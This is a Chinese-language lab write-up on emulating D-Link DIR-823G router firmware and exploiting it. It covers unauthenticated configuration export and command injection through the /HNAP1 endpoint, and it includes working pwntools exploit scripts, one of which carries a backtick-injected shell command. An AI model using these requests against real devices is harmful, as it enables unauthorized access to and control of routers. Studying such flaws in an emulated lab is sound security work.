某60物联网安全之IoT漏洞利用实操1学习记录

news2024/11/19 17:51:29

物联网安全

文章目录

  • 物联网安全
  • IoT漏洞利用实操1(逻辑漏洞)
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 实验内容
    • 实验步骤


IoT漏洞利用实操1(逻辑漏洞)

实验目的

学会使用fat模拟IoT设备固件
学会使用IDA分析设备固件内服务程序的逻辑漏洞
学会使用pwntools与IoT设备服务交互并触发漏洞

实验环境

操作机:Ubuntu 20.04【用户名:user 密码:user】

实验工具

qemu
fat
binwalk
pwntools
IDA pro

实验原理

IoT 设备中可能存在各种漏洞,总结来说,这些漏洞可以被大体划分为两大类,一类是内存破坏型漏洞,另一类则是逻辑漏洞。而在逻辑漏洞中,又以未授权访问漏洞和命令注入漏洞最为常见。
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致非管理员的任意用户可以直接访问,从而引发重要权限可被操作、数据库或设备内存等敏感信息泄露。
命令注入漏洞是指由于设备内服务程序对用户提交的数据过滤不严格,导致恶意用户可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者设备信息等。

实验内容

使用fat模拟IoT设备固件
进行IoT设备未授权访问漏洞的利用
进行IoT设备命令注入漏洞的利用

实验步骤

使用fat模拟IoT设备固件
本节实操课用来测试的设备是 Dlink DIR-823G ,首先利用 fat 工具将该设备的固件快速模拟运行起来。依次输入如下命令,进入该工具的目录,并利用该工具模拟固件文件 DIR823GA1_FW102B03.bin。
$ cd ~/firmware-analysis-toolkit
$ ./fat.py ~/Desktop/experiment2/DIR823GA1_FW102B03.bin
fat 工具会自动解压固件并修改内核,然后再重新打包,最后利用 QEMU 对重新打包的固件模拟运行,但是需要等待一段时间,由该工具自动配置适合该路由设备的网卡和IP地址。

当显示如下图所示的信息,则说明已经可以正常模拟运行固件。
在这里插入图片描述

按下回车键就会进入 QEMU 模拟的终端,模拟的 Dlink DIR-823G 设备的地址为192.168.0.1。可以发现终端一直在不停的输出信息,但是其实并不影响命令的输入。

在这里插入图片描述

可以在浏览器中访问该模拟设备的管理页面进行验证,显示如下图所示,表示模拟的路由器服务正常。

在这里插入图片描述

进行IoT设备未授权访问漏洞的利用
路由设备 Dlink DIR-823G 通过 web 管理界面和用户进行交互,实际功能调用 cgi 实现,但是其 web 服务程序 goahead 没有相应 cgi 文件的权限校验,使得非授权用户也可以直接访问相应功能的 cgi,对设备造成严重影响。

该设备存在如下未授权可以直接访问调用的 cgi:

/cgi-bin/ExportSettings.sh 导出配置文件(信息泄露)

/cgi-bin/upload_settings.cgi 导入配置文件(恶意篡改配置)

/cgi-bin/upload_firmware.cgi 上传更新固件(恶意修改固件)

以未授权访问 /cgi-bin/ExportSettings.sh 导出配置文件为例。可以先在模拟的路由器的管理页面设置一个管理员用户。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

退出该用户帐号后,以匿名身份直接通过浏览器访问 /cgi-bin/ExportSettings.sh,发现可以正常导出配置文件。

在这里插入图片描述

或者可以直接利用如下 pwntools 脚本伪造一个访问路由设备 /cgi-bin/ExportSettings.sh 的 HTTP 请求,可以同样获取该设备的配置文件。

from pwn import *

context.log_level = 'debug'
io = remote('192.168.0.1', 80)

content = '''GET /cgi-bin/ExportSettings.sh HTTP/1.1\r
Host: 192.168.0.1\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r
Accept: */*\r
Accept-Encoding: gzip, deflate\r
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\r
Connection: close\r
\r
'''

io.send(content)

io.recv(1000)
io.recv(1000)

io.close()

在这里插入图片描述

进行IoT设备命令注入漏洞的利用
路由设备 Dlink DIR-823G 的 web 服务程序 goahead 还存在命令注入漏洞,先通过命令 binwalk -Me ./DIR823GA1_FW102B03.bin 将其固件解包。
在这里插入图片描述

进入到解包后的固件根目录 squashfs-root/bin/ 中,找到其web 服务程序 goahead ,通过 file 命令可以查看其架构为 MIPS。
在这里插入图片描述

之后利用命令 wine ~/IDAPro7.5/ida.exe 打开 IDA,并通过 IDA 加载将要分析的固件内程序 goahead
在这里插入图片描述

并按 G键打开地址跳转窗口,输入 0x42383C,跳转到漏洞函数 sub_42383C。

在这里插入图片描述

之后按F5键查看函数 sub_42383C的反编译代码,不难看出存在命令注入漏洞。

在这里插入图片描述

在函数名上按X键,通过交叉引用,逆向分析出该漏洞函数的触发流为:

main -> sub_423F90 -> sub_42383C

通过sub_423F90函数,可以分析出sub_42383C函数是访问 /HNAP1 这个 url 时对应的处理函数。

16

在触发该命令注入漏洞前,模拟该路由设备固件的终端内 web_mtn 目录下,没有 hack.txt 文件。
17

同时,浏览器也无法访问该 hack.txt 文件。

在这里插入图片描述

可以通过如下的 pwntools 脚本生成能够触发该命令注入漏洞的请求,该恶意请求执行的命令为echo hacked_by_01dwang!!! > /web_mtn/hack.txt,即向设备的web页面根目录 web_mtn 目录内写入 hack.txt 文件。

from pwn import *

context.log_level = 'debug'
io = remote('192.168.0.1', 80)

content = '''POST /HNAP1/ HTTP/1.1\r
Host: 192.168.0.1\r
Content-Length: 54\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r
Content-Type: text/xml; charset=UTF-8\r
Accept: */*\r
SOAPAction: "http://purenetworks.com/HNAP1/Login"\r
Accept-Encoding: gzip, deflate\r
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\r
Connection: close\r
\r
'`echo hacked_by_01dwang!!!!!!!! > /web_mtn/hack.txt`'
'''

io.send(content)

io.recv(1000)

io.close()

在通过脚本生成的恶意请求触发该命令注入漏洞后,路由设备的终端内 web_mtn 目录下,生成了 hack.txt 文件。
在这里插入图片描述

同时,浏览器也可以访问该 hack.txt 文件。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1269763.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

外骨骼运动控制方法的简单解读

Title: 外骨骼运动控制方法的简单解读 文章目录 I. 前言II. 关节运动控制 —— 运动轨迹/运动意图的跟踪III. 柔性交互控制 —— 提高外骨骼和人交互的 "透明性"IV. 能量成型控制 —— 借鉴双足机器人的无源步态控制V. 贝叶斯优化 ——控制参数的优化与学习VI. 小节个…

Windows11编译Hadoop3.3.6源码

由于https://github.com/kontext-tech/winutils还未发布3.3.6版本,因此尝试源码编译 目录 环境和安装包准备,见2zlib编译方法一:方法二: 配置文件更改1. maven阿里云镜像2. Node版本3. 越过Javadoc检查 编译HadoopError,其他报错…

ThermalLabel SDK for .NET 13.0.23.1113 Crack

ThermalLabel SDK for .NET 是一个 .NET 典型类库,它允许用户和开发人员创建非常创新的条码标签并将其发布在 zebra ZPL、EPL、EPSON ESC、POS 以及 Honeywell intermec 指纹中通过在 VB.NET 或 C# 上编写 .NET 纯代码来实现热敏打印机,以实现项目框架的…

【Vulnhub 靶场】【CEREAL: 1】【困难】【20210529】

1、环境介绍 靶场介绍:https://www.vulnhub.com/entry/cereal-1,703/ 靶场下载:https://download.vulnhub.com/cereal/Cereal.ova 靶场难度:困难 发布日期:2021年5月29日 文件大小:1.1 GB 靶场作者:Thomas…

PHP:处理数据库查询数据

注: DB_num_rows($result5)可以替换为mysqli_num_rows($result5) DB_fetch_array($result5)可以替换为mysqli_fetch_assoc($result5) 一、查询单个数据 代码解析 1、SQL语句 查询表www_users中当userid等于变量$_SESSION[UserID]时的depart_code值 $sql &qu…

鸿蒙【HarmonyOS】开发初体验

官方开发文档 依照官方开发文档进行配置,官方的文档很详细(虽然有些粗糙)。 其实只要下载了deveco studio,其他就按照next来就行了。配置都很清楚。 顺便提一下,deveco是基于intellij 的,体验很不错&…

【linux防火墙】iptables的四表五链以及实操应用

目录 一、防火墙的基本认识 浅提一下iptables 二、防火墙的分类 三、netfilter中的五个勾子函数和报文流向 四、netfilter/iptables的简介 五、iptables的原理讲解和四表五链 内核中数据包传输的过程: 六、iptables iptables的语法: 七、实操 七…

linux系统下的nginx服务安装

一. 环境 在安装nginx前,需要提前配置的环境包括 pcre:rewrite正则相关pcre:URL重写软件,实现伪静态\URL跳转等、SEO优化。 openssl:https加密访问用它 zlib:提供数据压缩用1.安装pcre 1.1 检查版本 执行&#xff…

在PyCharm中运行OpenCV

一、安装Anaconda配置python环境 这里选用清华大学开源软件镜像站:anaconda | 镜像站使用帮助 | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 下载的速度更快。 点击下载链接:Index of /anaconda/archive/ | 清华大学开源软件镜像站 | Tsin…

怎么检测电脑电源?电脑电源检测系统软件如何助力?

电源是电脑的重要组成部分,为电脑提供稳定电源,保证电脑正常工作。但是在电脑实际使用过程中总会遇到各种各样的问题和故障,比如无法开机,因此电脑电源检测是非常重要的测试内容。 如何测试电脑电源? 1. 用万用表检测 a. 将万用表…

使用STM32微控制器实现烟雾传感器的接口和数据处理

烟雾传感器是常见的安全检测装置,通过检测空气中的烟雾浓度来提醒用户有潜在的火灾风险。本文将介绍如何使用STM32微控制器来实现烟雾传感器的接口和数据处理。包括硬件连接、采集模拟信号、数字信号处理和报警策略等方面。同时,给出相应的代码示例。 一…

hugging face下载dataset时候出现You must be authenticated to access it.问题解决

Cannot access gated repo for url https://huggingface.co/tiiuae/falcon-180B/resolve/main/tokenizer_config.json. Repo model tiiuae/falcon-180B is gated. You must be authenticated to access it. 参考https://huggingface.co/docs/huggingface_hub/guides/download …

MQTT发布_订阅架构(Pub_Sub)

MQTT发布/订阅架构(Pub/Sub) 本文中,将深入研究Pub/Sub架构,在软件架构中一个消息模式,它支持不同组件或系统之间以解耦的方式进行通信。 在前一片文章[MQTT简介]http://t.csdnimg.cn/6lNeZ中,对MQTT有一个…

【Excel】WPS快速按行筛选过滤

用的筛选都是进行列数据过滤,那么遇到一个情况需要行数据过滤查看数据 行过滤 选中行,然后右键菜单,行筛选。 列过滤

基于ora2pg迁移Oracle19C到postgreSQL14

📢📢📢📣📣📣 哈喽!大家好,我是【IT邦德】,江湖人称jeames007,10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】!😜&am…

实现一个高并发的Redis分布式锁

1. 无锁场景 下面是一个扣减库存逻辑, 由于查库存和扣减库存两个操作不是原子的,明显存在并发超卖问题 // 假设初始库存200GetMapping("/stock")public String stock(RequestParam(value "name", defaultValue "World") String name) {String…

Linux下配置邮箱客户端MUTT,整合msmtp + procmail + fetchmail

一、背景 在向 Linux kernel 社区提交patch补丁步骤总结(已验证成功)_kernel补丁-CSDN博客文章中提到如何向kernel社区以及其他类似如qemu、libvirt社区提交patch的详细步骤,但还有一点不足的是通过git send-email这种方法基本是只能发送patc…

详解原生Spring当中的额外功能开发MethodBeforeAdvice与MethodInterceptor接口!

😉😉 学习交流群: ✅✅1:这是孙哥suns给大家的福利! ✨✨2:我们免费分享Netty、Dubbo、k8s、Mybatis、Spring...应用和源码级别的视频资料 🥭🥭3:QQ群:583783…

论文学习-Attention Is All You Need

Attention Is All You Need 目前暂时不会用到,大概了解一下即可。 Recurrent model 序列化的计算方式,难以并行,随着序列的增长,以前的记忆会逐渐丢失。而Attention机制可以观察到句子中所有的信息,不受距离影响&…

国密加密工业路由器 数据安全升级

国密加密工业路由器,简称国密加密路由器,是指遵循“商用密码管理规范”中规定的国家商用密码算法,采用国密加密芯片和密码算法的专业路由器。相比-般路由器,国密加密路由器具有更高级别的加密保护,可以有效提高数据传输…